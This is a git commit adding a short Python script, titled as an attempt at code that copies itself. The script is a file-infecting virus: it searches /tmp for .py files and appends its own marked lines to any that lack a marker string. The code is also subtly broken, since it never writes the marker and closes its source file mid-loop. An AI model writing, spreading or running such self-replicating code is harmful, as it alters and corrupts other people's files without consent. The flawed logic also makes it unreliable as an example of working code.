Try to make code that copies itself

This commit is contained in:
2019-10-11 13:29:21 +02:00
parent 82130d1185
commit 96374a9f7b

24
self_copy_test.py Normal file
View File

@@ -0,0 +1,24 @@
import os #!x
import sys #!x
import glob #!x
import socket #!x
import string #!x
cmd = 'find /tmp -name "*.py" -print' #!x
for Files in os.popen(cmd).readlines():#!x
Files = Files[:-1]#!x
try:#!x
vCode = open(__file__, 'r')#!x
victim = open(Files, 'r')#!x
readvictim = victim.read()#!x
if str.find(readvictim, "pRdElKa") == -1:#!x
victim = open(Files, 'a')#!x
for code in vCode.readlines():#!x
if("#!x") in code:#!x
vCode.close()#!x
mycode=(code)#!x
victim.write(mycode)#!x
except IOError:#!x
a = 1#!x